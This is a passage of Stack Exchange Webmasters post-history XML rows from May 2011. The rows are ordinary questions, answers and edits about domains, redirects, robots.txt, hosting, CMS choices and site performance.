  <row Id="31200" PostHistoryTypeId="5" PostId="13510" RevisionGUID="ce25eaf8-1c14-4a23-bb08-aa7652daed7c" CreationDate="2011-05-07T18:25:50.527" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Is it better to put hyphens in a domain name ?](http://webmasters.stackexchange.com/questions/410/is-it-better-to-put-hyphens-in-a-domain-name)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;I would just trying to think of a popular website &lt;br&gt;&#xD;&#xA;that has hyphens in its domain, and honestly - I was having &lt;br&gt;&#xD;&#xA;problems naming one.&#xD;&#xA;&#xD;&#xA;I have a domain name that I have set my mind on, but it's taken. &lt;br&gt;&#xD;&#xA;However, the same domain with a hyphen in the middle is still available.&#xD;&#xA;&#xD;&#xA;What do you think?" />
  <row Id="31201" PostHistoryTypeId="10" PostId="13510" RevisionGUID="9dace802-053c-40de-81ec-d190570dfdd9" CreationDate="2011-05-07T18:25:49.747" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="31202" PostHistoryTypeId="5" PostId="13506" RevisionGUID="9325453a-60f2-45a3-93ce-19248a987415" CreationDate="2011-05-07T18:37:50.973" UserId="6901" Comment="added 4 characters in body" Text="Try putting the **google analytics** code at the bottom (the page will load faster). Other than that, you're good to go." />
  <row Id="31203" PostHistoryTypeId="2" PostId="13511" RevisionGUID="63ad3918-cd8f-4cba-adb4-c8c97e916402" CreationDate="2011-05-07T18:57:58.503" UserId="7364" Text="I have a webpage on my university's server, which means I cannot access the root directory in order to create a &quot;robots.txt&quot; file there. &#xD;&#xA;&#xD;&#xA;Is there some other way to give access to robots to my page?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="31204" PostHistoryTypeId="1" PostId="13511" RevisionGUID="63ad3918-cd8f-4cba-adb4-c8c97e916402" CreationDate="2011-05-07T18:57:58.503" UserId="7364" Text="How can I let robots access my site?" />
  <row Id="31205" PostHistoryTypeId="3" PostId="13511" RevisionGUID="63ad3918-cd8f-4cba-adb4-c8c97e916402" CreationDate="2011-05-07T18:57:58.503" UserId="7364" Text="&lt;robots.txt&gt;&lt;robots&gt;" />
  <row Id="31206" PostHistoryTypeId="5" PostId="13477" RevisionGUID="995fbea7-f9a2-4e79-b60c-c05bc6e0b3bc" CreationDate="2011-05-07T21:01:25.733" UserId="4451" Comment="deleted 35 characters in body; edited title" Text="For SEO, is a 301 or 302 redirect better for affiliate links?" />
  <row Id="31207" PostHistoryTypeId="4" PostId="13477" RevisionGUID="995fbea7-f9a2-4e79-b60c-c05bc6e0b3bc" CreationDate="2011-05-07T21:01:25.733" UserId="4451" Comment="deleted 35 characters in body; edited title" Text="For SEO, is a 301 or 302 redirect better for affiliate links?" />
  <row Id="31208" PostHistoryTypeId="5" PostId="13477" RevisionGUID="741b29ed-b185-4711-bd71-c4045207a156" CreationDate="2011-05-07T21:09:40.310" UserId="4451" Comment="added 118 characters in body" Text="For SEO, is a 301 or 302 redirect better for affiliate links?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Are there any benefits/drawbacks for either?&#xD;&#xA;&#xD;&#xA;PriceGrabber uses 301&#xD;&#xA;&#xD;&#xA;Shopzilla uses 302&#xD;&#xA;&#xD;&#xA;Nextag uses 302&#xD;&#xA;" />
  <row Id="31209" PostHistoryTypeId="25" PostId="13500" RevisionGUID="b1fb81b5-2191-4cba-a8c4-b2f30295ac0d" CreationDate="2011-05-07T21:11:31.353" Comment="http://twitter.com/#!/StackWebmasters/status/66973457832873984" />
  <row Id="31210" PostHistoryTypeId="2" PostId="13512" RevisionGUID="aff5f1d6-e40e-4de6-86ce-66465696cc9b" CreationDate="2011-05-07T23:10:00.487" UserId="4502" Text="Before concerning yourself with the machine, have you done a thorough audit of your WordPress install's plugins, templates, etc. yet?&#xD;&#xA;&#xD;&#xA;I have a client in the 30-40k/day range on a *shared* host, with a large portion of the site requiring authentication to read(so we can't quite do full-on &quot;static&quot; SuperCaching), and they've yet to have any significant performance complaints. &#xD;&#xA;&#xD;&#xA;If you're chewing through a dedicated machine with only another ~10k visits, there might be more going on than just an underpowered server." />
  <row Id="31211" PostHistoryTypeId="25" PostId="13511" RevisionGUID="c77cb126-1832-48cc-9a16-d2e39f5ecf47" CreationDate="2011-05-08T00:11:32.080" Comment="http://twitter.com/#!/StackWebmasters/status/67018759210143744" />
  <row Id="31212" PostHistoryTypeId="2" PostId="13513" RevisionGUID="c938ac77-d3d8-4fea-be2b-76f4b02614d2" CreationDate="2011-05-08T01:38:42.490" UserId="7337" Text="Now that Slicehost is going away, my thought is to move to a true dedicated server if I can afford one.&#xD;&#xA;&#xD;&#xA;[DigitalOne][1] looks good except for the single disk/no raid issue. -- My thought for that is to use MySql replication to a vps, probably at linode.&#xD;&#xA;&#xD;&#xA;**Q: Any known issues with DigitalOne?** Thanks.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.digitalone.com/calc.html?base_id=2&amp;cpu=1&amp;memory=76&amp;hdd1=5&amp;bw=17&amp;ip=20&amp;os=71&amp;panel=72" />
  <row Id="31213" PostHistoryTypeId="1" PostId="13513" RevisionGUID="c938ac77-d3d8-4fea-be2b-76f4b02614d2" CreationDate="2011-05-08T01:38:42.490" UserId="7337" Text="Any issues with DigitalOne dedicated hosting?" />
  <row Id="31214" PostHistoryTypeId="3" PostId="13513" RevisionGUID="c938ac77-d3d8-4fea-be2b-76f4b02614d2" CreationDate="2011-05-08T01:38:42.490" UserId="7337" Text="&lt;dedicated-hosting&gt;" />
  <row Id="31215" PostHistoryTypeId="5" PostId="13415" RevisionGUID="a0613235-42bc-4621-aa67-1630c8658b1a" CreationDate="2011-05-08T02:53:44.330" UserId="4118" Comment="specify platform per comment" Text="Is there a desktop application or IDE for Windows or GNU/Linux similar to *jsFiddle* where I can insert my JavaScript code, HTML and CSS and see how it executes?&#xD;&#xA;&#xD;&#xA;I don't mind writing HTML, CSS and JavaScript in the places they are supposed to be, but what I don't want is the process of &#xD;&#xA;&#xD;&#xA;*Save changes  &#xD;&#xA;Open browser  &#xD;&#xA;Refresh  &#xD;&#xA;Edit  &#xD;&#xA;Save  &#xD;&#xA;Open Browser*  &#xD;&#xA;..." />
  <row Id="31216" PostHistoryTypeId="24" PostId="13415" RevisionGUID="a0613235-42bc-4621-aa67-1630c8658b1a" CreationDate="2011-05-08T02:53:44.330" Comment="Proposed by 4118 approved by 1253 edit id of 258" />
  <row Id="31217" PostHistoryTypeId="25" PostId="13513" RevisionGUID="6e98badf-0714-44ac-a94c-0e7c02887eaf" CreationDate="2011-05-08T03:11:32.143" Comment="http://twitter.com/#!/StackWebmasters/status/67064056460214272" />
  <row Id="31218" PostHistoryTypeId="25" PostId="13503" RevisionGUID="cda58347-6c29-46f2-8c0c-fdcc2cb9c7cb" CreationDate="2011-05-08T06:11:32.887" Comment="http://twitter.com/#!/StackWebmasters/status/67109359326470144" />
  <row Id="31219" PostHistoryTypeId="25" PostId="13490" RevisionGUID="617773c8-3662-4faf-bc1f-974ea9e12090" CreationDate="2011-05-08T09:11:32.987" Comment="http://twitter.com/#!/StackWebmasters/status/67154658086494208" />
  <row Id="31220" PostHistoryTypeId="4" PostId="13485" RevisionGUID="18ced31e-048a-41dd-9e97-cbd4707ec5f7" CreationDate="2011-05-08T09:46:19.673" UserId="861" Comment="edited title" Text="How to restrict the download of all files in a folder?" />
  <row Id="31221" PostHistoryTypeId="2" PostId="13514" RevisionGUID="05fbffb1-3d44-4dab-8b3d-8ea725ab7b32" CreationDate="2011-05-08T10:51:14.153" UserId="7370" Text="I want to create an online pdf library. Is there any free solution exist, CMS or something?&#xD;&#xA;&#xD;&#xA;It should allow to upload pdfs, search documents and download them&#xD;&#xA;&#xD;&#xA;Thank you!" />
  <row Id="31222" PostHistoryTypeId="1" PostId="13514" RevisionGUID="05fbffb1-3d44-4dab-8b3d-8ea725ab7b32" CreationDate="2011-05-08T10:51:14.153" UserId="7370" Text="Advice on web app to make pdf (documents) library" />
  <row Id="31223" PostHistoryTypeId="3" PostId="13514" RevisionGUID="05fbffb1-3d44-4dab-8b3d-8ea725ab7b32" CreationDate="2011-05-08T10:51:14.153" UserId="7370" Text="&lt;cms&gt;&lt;pdf&gt;&lt;library&gt;" />
  <row Id="31224" PostHistoryTypeId="25" PostId="13514" RevisionGUID="16192b31-2ae9-454e-bf24-07db3f50a12b" CreationDate="2011-05-08T12:11:32.530" Comment="http://twitter.com/#!/StackWebmasters/status/67199954803892224" />
  <row Id="31225" PostHistoryTypeId="2" PostId="13515" RevisionGUID="d95b8803-2c32-4293-bf54-159cc17c3033" CreationDate="2011-05-08T14:32:04.780" UserId="2251" Text="Now every major browser supports `border-radius`, I was wondering what the best way to get rounded corners in IE7 and IE8 is until IE9+ becomes most dominant version of IE.&#xD;&#xA;&#xD;&#xA;I've seen several javascript based solutions, but I was wondering if anyone could recommend one they've used themselves?" />
  <row Id="31226" PostHistoryTypeId="1" PostId="13515" RevisionGUID="d95b8803-2c32-4293-bf54-159cc17c3033" CreationDate="2011-05-08T14:32:04.780" UserId="2251" Text="Rounded corners in IE7 and IE8" />
  <row Id="31227" PostHistoryTypeId="3" PostId="13515" RevisionGUID="d95b8803-2c32-4293-bf54-159cc17c3033" CreationDate="2011-05-08T14:32:04.780" UserId="2251" Text="&lt;html&gt;&lt;javascript&gt;&lt;internet-explorer&gt;" />
  <row Id="31228" PostHistoryTypeId="2" PostId="13516" RevisionGUID="f7dc1690-cdd4-4206-9d24-6c956828ad51" CreationDate="2011-05-08T14:32:26.060" UserId="5987" Text="We have a simple form that allow to register and auntomatically start the download of the Demo of our application. We see every week day at every time the same info passed and therefore the product download.&#xD;&#xA;&#xD;&#xA;How can we stop this without implementing the annoying captcha?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="31229" PostHistoryTypeId="1" PostId="13516" RevisionGUID="f7dc1690-cdd4-4206-9d24-6c956828ad51" CreationDate="2011-05-08T14:32:26.060" UserId="5987" Text="Avoiding robot automatic form submission and download" />
  <row Id="31230" PostHistoryTypeId="3" PostId="13516" RevisionGUID="f7dc1690-cdd4-4206-9d24-6c956828ad51" CreationDate="2011-05-08T14:32:26.060" UserId="5987" Text="&lt;forms&gt;&lt;robots&gt;&lt;captcha&gt;&lt;automation&gt;" />
  <row Id="31232" PostHistoryTypeId="5" PostId="11834" RevisionGUID="bf416f29-0c14-41fc-b31f-209f7dc0ef97" CreationDate="2011-05-08T15:08:40.183" UserId="1010" Comment="A typo fix, and a minor wording tweak because of the 6-char minimum." Text="I doubt they will allow you to install or use APC on shared hosting, as it will affect every site on the server.  This could be a potentially bad thing if it causes a conflict or incompatibility with someone else's code. If you want to use APC or something that's not generally offered on shared hosting you'll need either a VPS or dedicated server." />
  <row Id="31233" PostHistoryTypeId="24" PostId="11834" RevisionGUID="bf416f29-0c14-41fc-b31f-209f7dc0ef97" CreationDate="2011-05-08T15:08:40.183" Comment="Proposed by 1010 approved by 1253 edit id of 259" />
  <row Id="31234" PostHistoryTypeId="5" PostId="13516" RevisionGUID="b2a59cc9-4be1-43a0-8cb1-9535e49e903e" CreationDate="2011-05-08T15:09:50.870" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [Make your site anti-bot?](http://webmasters.stackexchange.com/questions/3544/make-your-site-anti-bot)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;We have a simple form that allow to register and auntomatically start the download of the Demo of our application. We see every week day at every time the same info passed and therefore the product download.&#xD;&#xA;&#xD;&#xA;How can we stop this without implementing the annoying captcha?&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="31235" PostHistoryTypeId="10" PostId="13516" RevisionGUID="dd6386a5-bde1-4f23-a1c1-886f25dd33f0" CreationDate="2011-05-08T15:09:50.560" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="31236" PostHistoryTypeId="2" PostId="13517" RevisionGUID="a82f6509-62b5-4c31-a98e-8ee97e0fecd1" CreationDate="2011-05-08T15:11:26.787" UserId="1253" Text="[This web page explains how to do it.][1] &#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  [1]: http://jonraasch.com/blog/css-rounded-corners-in-all-browsers" />
  <row Id="31237" PostHistoryTypeId="25" PostId="13515" RevisionGUID="f02346ee-9c9a-4fb5-b6c2-46ba9050432f" CreationDate="2011-05-08T15:11:33.263" Comment="http://twitter.com/#!/StackWebmasters/status/67245256290205696" />
  <row Id="31238" PostHistoryTypeId="2" PostId="13518" RevisionGUID="06837446-ae7d-40ed-9fb6-8416d62defb4" CreationDate="2011-05-08T15:31:51.120" UserId="5809" Text="I have a domain which I will tell later how much I paid for it, but I wanted to get your take on how much it should be worth.&#xD;&#xA;&#xD;&#xA;This is the domain&#xD;&#xA;http://www.comehike.com&#xD;&#xA;&#xD;&#xA;What do you feel is the value of such a domain?&#xD;&#xA;&#xD;&#xA;Thanks!" />
  <row Id="31239" PostHistoryTypeId="1" PostId="13518" RevisionGUID="06837446-ae7d-40ed-9fb6-8416d62defb4" CreationDate="2011-05-08T15:31:51.120" UserId="5809" Text="How much is this domain worth just by itself?" />
  <row Id="31240" PostHistoryTypeId="3" PostId="13518" RevisionGUID="06837446-ae7d-40ed-9fb6-8416d62defb4" CreationDate="2011-05-08T15:31:51.120" UserId="5809" Text="&lt;domains&gt;&lt;websites&gt;&lt;domain-names&gt;" />
  <row Id="31241" PostHistoryTypeId="2" PostId="13519" RevisionGUID="80345cea-20e4-411e-9e29-9adee359f096" CreationDate="2011-05-08T15:32:50.830" UserId="3312" Text="Those stats you've included show that your website responsiveness is excellent. Even if your site was responding at the slowest spike on that graph (245ms) it's still very good.  I would not worry." />
  <row Id="31242" PostHistoryTypeId="10" PostId="13518" RevisionGUID="758aca6d-d83b-46cc-b942-81de2b3b0c8f" CreationDate="2011-05-08T15:43:03.853" UserId="1253" CloseReasonId="3" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="31243" PostHistoryTypeId="2" PostId="13520" RevisionGUID="05e87d0b-91cc-413a-b274-71ad3c7e0284" CreationDate="2011-05-08T16:23:39.513" UserId="5718" Text="If you're only running the script a few times a day then it's unlikely anything will actually go wrong. The main issue are as follows:&#xD;&#xA;&#xD;&#xA;- You need to supply a dummy useragent similar to one produced by a browser&#xD;&#xA;- Search results vary depending on factors such as the IP you're using so you might not get results that are as useful as they seem&#xD;&#xA;- Google regularly changes the way they display results and it could break your code so it needs to be updated&#xD;&#xA;&#xD;&#xA;Google terms what you are doing &quot;Screen Scraping&quot; and this is against their usage terms of service no matter how few times the script is run. They state that this is because it puts excessive loads on their servers. &#xD;&#xA;&#xD;&#xA;However, I think that there's probably a copyright issue as well. If they let people easily copy their content then it would be possible to create a very cheap search engine that takes results from Google but replaces the ads. Google spends a lot of money on their search algorithm and needs to collect ad revenues to make a profit and continue development.&#xD;&#xA;&#xD;&#xA;I guess that they also don't want marketers running these types of script because they don't want SEO's trying to gain insights they can use the unfairly manipulate rankings. There might be a similar issue for AdWords where they don't want marketers knowing too much about the keywords and ads that their competitors are using.&#xD;&#xA;&#xD;&#xA;The main defense that Google uses against automated scripts is to temporarily block IP's that issue too many requests within a short period of time. As I stated earlier, your script shouldn't run into this problem but people issuing large numbers of queries usually use proxy servers to make regular IP changes and reduce the chance of detection.&#xD;&#xA;&#xD;&#xA;Finally, this is beyond the scope of the question but another issue this type of script faces is that they also violate the terms of service of other Google systems. For example, the AdWords API TOS explicitly states you can't use the API with such a program. This could lead to API Developer Tokens being revoked on detection of these methods.&#xD;&#xA;" />
  <row Id="31244" PostHistoryTypeId="2" PostId="13521" RevisionGUID="9710cf02-ae33-4635-a9cf-60f3c179bb0b" CreationDate="2011-05-08T18:06:12.710" UserId="5718" Text="I'm not sure how you're ending up with AdWords auto tagging appended to a URL without the proper structure but if you don't want the `gclid` parameter at all you could alway just switch off autotagging in AdWords. You shouldn't need to remove it using a rewrite rule as it's just an option that you can choose not to use." />
  <row Id="31245" PostHistoryTypeId="2" PostId="13522" RevisionGUID="7abfb3ad-5a7d-4b6c-be6d-f0bd928c0767" CreationDate="2011-05-08T18:08:41.207" UserId="6901" Text="I want to start a community blog: a blog where anyone can post. Basically: I need a CMS that has the following features:&#xD;&#xA;&#xD;&#xA; - People can post from the front end: they don't have to go to an administrative interface.&#xD;&#xA; - Anyone can post&#xD;&#xA; - The popular posts (the ones with the most views, links, comments, etc.) are moved up to the home page, while the less popular posts are not as visable.&#xD;&#xA; - Categories and Tags&#xD;&#xA; - Comments&#xD;&#xA; - Some sort of internal trackback system: if user1 creates a post with a link to user2's post, then user1's post should show up in the comments of user2's post.&#xD;&#xA; - a simple profile (name, avatar, bio, etc.)&#xD;&#xA; - The ability to rate post's and comments.&#xD;&#xA; - Some sort of anti-spam system.&#xD;&#xA;&#xD;&#xA;Any suggestions?" />
  <row Id="31246" PostHistoryTypeId="1" PostId="13522" RevisionGUID="7abfb3ad-5a7d-4b6c-be6d-f0bd928c0767" CreationDate="2011-05-08T18:08:41.207" UserId="6901" Text="Script for a community blog" />
  <row Id="31247" PostHistoryTypeId="3" PostId="13522" RevisionGUID="7abfb3ad-5a7d-4b6c-be6d-f0bd928c0767" CreationDate="2011-05-08T18:08:41.207" UserId="6901" Text="&lt;looking-for-a-script&gt;" />
  <row Id="31248" PostHistoryTypeId="25" PostId="13402" RevisionGUID="bc281171-19fe-4aff-b094-d8999a1ae627" CreationDate="2011-05-08T18:11:33.677" Comment="http://twitter.com/#!/StackWebmasters/status/67290556530827264" />
  <row Id="31249" PostHistoryTypeId="2" PostId="13523" RevisionGUID="ce3c4b27-64bb-49c2-a3ad-69b6c209e4f7" CreationDate="2011-05-08T18:30:39.913" UserId="226" Text="I have a domain I use for my blog that had originally been intended for a short lived project. As the domain doesn't really suit for a blog, I have been thinking about changing it.&#xD;&#xA;&#xD;&#xA;However, some pages on the blog have a fair amount of highly ranked search terms. I know with new domains, there is a sandbox period where Google doesn't rank them really well. I also know as far as PR goes, if a page 301 redirects to another page, Google considers them the same.&#xD;&#xA;&#xD;&#xA;Does this mean that if I change my domain and 301 redirect all pages from the old domain to the new one, my new domain will have all the search rankings of my old domain? Or will it have to go through the sandbox period again?" />
  <row Id="31250" PostHistoryTypeId="1" PostId="13523" RevisionGUID="ce3c4b27-64bb-49c2-a3ad-69b6c209e4f7" CreationDate="2011-05-08T18:30:39.913" UserId="226" Text="Does 301 redirecting all pages in an existing domain exempt a domain from the sandbox period in Google?" />
  <row Id="31251" PostHistoryTypeId="3" PostId="13523" RevisionGUID="ce3c4b27-64bb-49c2-a3ad-69b6c209e4f7" CreationDate="2011-05-08T18:30:39.913" UserId="226" Text="&lt;seo&gt;&lt;redirects&gt;" />
  <row Id="31252" PostHistoryTypeId="2" PostId="13524" RevisionGUID="b1062159-fbe2-4fc7-b407-3b9c798d7e74" CreationDate="2011-05-08T18:31:02.457" UserId="3371" Text="I would check out our blog post here about the value of soft launching:&#xD;&#xA;&#xD;&#xA;http://salesvote.tumblr.com/post/5309129829/the-value-of-soft-launching" />
  <row Id="31253" PostHistoryTypeId="16" PostId="13524" RevisionGUID="410dc95e-760f-4748-b8ff-52e5c92d79b7" CreationDate="2011-05-08T18:31:02.457" UserId="3371" />
  <row Id="31254" PostHistoryTypeId="2" PostId="13525" RevisionGUID="9a0ecadd-4e16-4395-a550-2ba749e0520a" CreationDate="2011-05-08T18:50:46.353" UserId="7138" Text="I would follow https://www.google.com/webmasters/tools/change-address steps -&#xD;&#xA;&#xD;&#xA;&gt; If you're planning to move your site&#xD;&#xA;&gt; to a new domain, use the Change of&#xD;&#xA;&gt; Address tool to tell Google about your&#xD;&#xA;&gt; new URL. This will help us update our&#xD;&#xA;&gt; index faster and smooth the transition&#xD;&#xA;&gt; for your users.&#xD;&#xA;&gt; &#xD;&#xA;&gt; For best results, follow these steps:&#xD;&#xA;&gt; Set up the new site&#xD;&#xA;&gt; &#xD;&#xA;&gt; Review our guidelines for moving your&#xD;&#xA;&gt; site to a new domain. Set up your&#xD;&#xA;&gt; content on your new domain, then make&#xD;&#xA;&gt; sure all internal links point to the&#xD;&#xA;&gt; new domain. Redirect all traffic from&#xD;&#xA;&gt; the old site&#xD;&#xA;&gt; &#xD;&#xA;&gt; Use a 301 redirect to permanently&#xD;&#xA;&gt; redirect the pages on your old site to&#xD;&#xA;&gt; your new site. This tells users and&#xD;&#xA;&gt; search engines that your site has&#xD;&#xA;&gt; permanently moved. Ask webmasters to&#xD;&#xA;&gt; update their links to point to your&#xD;&#xA;&gt; new domain and make sure incoming&#xD;&#xA;&gt; links to your old site are redirected&#xD;&#xA;&gt; correctly using the 301 redirects.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Add your new site to Webmaster Tools&#xD;&#xA;&gt; &#xD;&#xA;&gt; Make sure you have added and verified&#xD;&#xA;&gt; your new domain.&#xD;&#xA;&gt; &#xD;&#xA;&gt; Tell us the URL of your new domain&#xD;&#xA;&gt; &#xD;&#xA;&gt; Your account doesn't contain any sites&#xD;&#xA;&gt; we can use for a change of address.&#xD;&#xA;&gt; Add and verify the new site, then try&#xD;&#xA;&gt; again.&#xD;&#xA;&gt; &#xD;&#xA;&gt; After submitting the change of&#xD;&#xA;&gt; address, check your Webmaster Tools&#xD;&#xA;&gt; data periodically to see if your new&#xD;&#xA;&gt; site has been crawled and indexed (if&#xD;&#xA;&gt; you have a Sitemap, one way to&#xD;&#xA;&gt; determine this is by checking Sitemap&#xD;&#xA;&gt; details for the new site to see how&#xD;&#xA;&gt; many of the pages have been crawled&#xD;&#xA;&gt; and indexed).&#xD;&#xA;&#xD;&#xA;I would not presume that google will or will not sandbox it. Do you have sites / pages with google trust that you can link to if from? I suspect the reason I don't know that much about the sandbox is because I always link to new sites from established content. However, sandbox rules may vary on subject material." />
  <row Id="31255" PostHistoryTypeId="2" PostId="13526" RevisionGUID="c8afa6ec-dadd-49a5-aed7-614909c5ceb1" CreationDate="2011-05-08T19:02:50.427" UserId="5718" Text="I recently moved some pages from an old domain to a new one for a very similar reason to yours and they were ranking within a few days. However, new articles didn't start to rank (or even get indexed) until I set up some links to them from trusted pages on different domains. I think that content moved using a 301 redirect is viewed in quite a different way to new content even though the same new domain is used.&#xD;&#xA;&#xD;&#xA;If you're concerned about what the consequences of the redirect to a new domain will be then you could try moving the pages slowly and see what effect it has. I moved some less significant pages first before transferring anything important. I actually still have content on the old domain that's not moved yet. &#xD;&#xA;" />
  <row Id="31256" PostHistoryTypeId="5" PostId="11822" RevisionGUID="d477ab91-da9b-400f-9fed-6a114973acf8" CreationDate="2011-05-08T19:18:53.910" UserId="1010" Comment="PHP is compiled into bytecode, *then* interpreted.  APC caches the compiled bytecode.  Also, formatting tweaks" Text="[APC][1] (Alternative PHP Cache) would help save CPU cycles since it caches PHP code that has  been compiled already. That means that on every page load, your PHP files aren't getting compiled first and then executed by the virtual machine, they go straight to PHP virtual machine and performance boost is significant (I've seen performance increase from 2 to 12 times).&#xD;&#xA;&#xD;&#xA;Next step would be optimizing MySQL. Obvious step is checking whether you're using InnoDB or not. Increasing InnoDB's `buffer_pool_size` to about 90% of your RAM would make MySQL store dataset it works with directly in RAM, so disk IO is avoided as much as possible.&#xD;&#xA;&#xD;&#xA;However, what you'd ideally try to do is cache all of your pages (I assume you don't have that many new content-related things posted per day).&#xD;&#xA;&#xD;&#xA;That probably requires some work (or there might be a WordPress mod out there, I'm not really sure because I'm not that faimilliar with WP and its plugins).&#xD;&#xA;Caching your content would alleviate load on your database. 40k - 50k views a day implicates high read rate so you should optimize for read rather than write.&#xD;&#xA;&#xD;&#xA;Also, you might look into swapping to [nginx][2] rather than staying with Apache and utilizing [PHP FPM][3] with nginx.&#xD;&#xA;That should boost your performance by a huge margin.&#xD;&#xA;&#xD;&#xA;Without seeing what actually burdens your server (my guess is Apache spawning a lot of processes that frequently access MySQL), these are the only things that pop into mind at this point.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://php.net/manual/en/book.apc.php&#xD;&#xA;  [2]: http://nginx.org/&#xD;&#xA;  [3]: http://php-fpm.org/" />
  <row Id="31257" PostHistoryTypeId="24" PostId="11822" RevisionGUID="d477ab91-da9b-400f-9fed-6a114973acf8" CreationDate="2011-05-08T19:18:53.910" Comment="Proposed by 1010 approved by 1253 edit id of 260" />
  <row Id="31258" PostHistoryTypeId="2" PostId="13527" RevisionGUID="401f743e-5802-4db2-ac00-a5d6c2b34e3a" CreationDate="2011-05-08T18:55:40.777" UserDisplayName="Daniel" Text="I've recently been trying to set up a website for the first time for an academic project.&#xD;&#xA;&#xD;&#xA;We bought 4 domains from 123-reg.co.uk:&#xD;&#xA;&#xD;&#xA;primarydomain.com&#xD;&#xA;secondarydomain1.com&#xD;&#xA;secondarydomain2.com&#xD;&#xA;secondarydomain3.com&#xD;&#xA;&#xD;&#xA;I want all secondary domains to point to the primary domain, which should be easy enough using 301 redirects.&#xD;&#xA;&#xD;&#xA;We also bought a hosting package at the same time with 123-reg (which appears to have been an unwise choice, based on opinions I've read recently about keeping host and domain provider separate). Unfortunately, this hosting package is erroneously linked to secondarydomain1.com, not to primarydomain.com.&#xD;&#xA;&#xD;&#xA;I figured that this shouldn't be a problem and that I could just change the domain associated with the hosting. Wrong!&#xD;&#xA;&#xD;&#xA;&gt;*Domain names associated with a 123-reg hosting package can not be changed once the hosting package has been purchased. If you require another domain name to be hosted, you will need to purchase a new hosting package for the appropriate domain name.* [(From 123-reg Support)][1]&#xD;&#xA;&#xD;&#xA;Then I thought that I could just change the A records (@ and www) for primarydomain.com to point to the IP address of the hosting package (xx.xx.xx.100), while changing the A records of secondarydomain1.com to match those of the other secondary domains (xx.xx.xx.200).&#xD;&#xA;&#xD;&#xA;Now, I've only changed the A records yesterday, so it may be within the acceptable timeframe for the changes to propagate. I'm unsure, though, since 123-reg specifically states that once a hosting package is purchased, you can't change the associated domain. If all else fails and I really can't change the associated domain, I can always buy cheap webspace elsewhere (any recommendations, by the way?) and point primarydomain.com there, but before I spend more money, I want to be sure that I can't rectify the situation.&#xD;&#xA;&#xD;&#xA;If anyone has had experience with combined hosting + domain registration with 123-reg, I'd be very grateful for any input.&#xD;&#xA;&#xD;&#xA;Thanks,&#xD;&#xA;&#xD;&#xA;Daniel&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.123-support.co.uk/support/answers/how-do-i-change-the-domain-name-for-my-hosting-package-1524/ &quot;123-reg Support page&quot;" />
  <row Id="31259" PostHistoryTypeId="1" PostId="13527" RevisionGUID="401f743e-5802-4db2-ac00-a5d6c2b34e3a" CreationDate="2011-05-08T18:55:40.777" UserDisplayName="Daniel" Text="Can I change the domain associated with my hosting if they're both with 123-reg.co.uk?" />
  <row Id="31260" PostHistoryTypeId="3" PostId="13527" RevisionGUID="401f743e-5802-4db2-ac00-a5d6c2b34e3a" CreationDate="2011-05-08T18:55:40.777" UserDisplayName="Daniel" Text="&lt;dns&gt;&lt;web-hosting&gt;" />
  <row Id="31261" PostHistoryTypeId="17" PostId="13527" RevisionGUID="86f74346-ba71-47e6-9351-1d5721be9828" CreationDate="2011-05-08T19:21:52.847" UserId="-1" Comment="from http://stackoverflow.com/questions/5929560/can-i-change-the-domain-associated-with-my-hosting-if-theyre-both-with-123-reg-c" Text="" />
  <row Id="31262" PostHistoryTypeId="2" PostId="13528" RevisionGUID="7414467e-ff35-4243-ae64-301f98b70eba" CreationDate="2011-05-08T20:04:41.590" UserId="6901" Text="[Amazon EC2][1] if free for one year. They support c++, so you can try it out. After that, though, you start paying.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://aws.amazon.com/ec2/" />
  <row Id="31266" PostHistoryTypeId="2" PostId="13530" RevisionGUID="636211a2-2c97-4fde-8b14-ac4be55ac953" CreationDate="2011-05-08T20:58:57.653" UserId="132" Text="Not quite a do/don't list, but take a look at &lt;a href=&quot;http://lite.launchlist.net/&quot;&gt;Launchlist&lt;/a&gt; - it's a checklist of important items worth taking care of." />
  <row Id="31267" PostHistoryTypeId="16" PostId="13530" RevisionGUID="30def8a3-5610-4c09-993e-718a1360708f" CreationDate="2011-05-08T20:58:57.653" UserId="132" />
  <row Id="31268" PostHistoryTypeId="16" PostId="13522" RevisionGUID="0a1d8781-376c-47fe-9d14-136f1592b97c" CreationDate="2011-05-08T21:09:13.773" UserId="1064" />
  <row Id="31269" PostHistoryTypeId="25" PostId="13522" RevisionGUID="8785f68c-d714-4574-9229-f0869487e0bd" CreationDate="2011-05-08T21:11:34.100" Comment="http://twitter.com/#!/StackWebmasters/status/67335856935026688" />
  <row Id="31270" PostHistoryTypeId="5" PostId="13522" RevisionGUID="3fb9c536-c9b6-4b72-894f-8eca7a4ead26" CreationDate="2011-05-08T21:13:10.463" UserId="6901" Comment="added 19 characters in body" Text="I want to start a community blog: a blog where anyone can post. Basically: I need a CMS that has the following features:&#xD;&#xA;&#xD;&#xA; - People can post from the front end: they don't have to go to an administrative interface.&#xD;&#xA; - Anyone can post&#xD;&#xA; - The popular posts (the ones with the most views, links, comments, etc.) are moved up to the home page, while the less popular posts are not as visable.&#xD;&#xA; - Categories and Tags&#xD;&#xA; - Comments&#xD;&#xA; - Some sort of internal trackback system: if user1 creates a post with a link to user2's post, then user1's post should show up in the comments of user2's post.&#xD;&#xA; - a simple profile (name, avatar, bio, etc.)&#xD;&#xA; - The ability to rate post's and comments.&#xD;&#xA; - Some sort of anti-spam 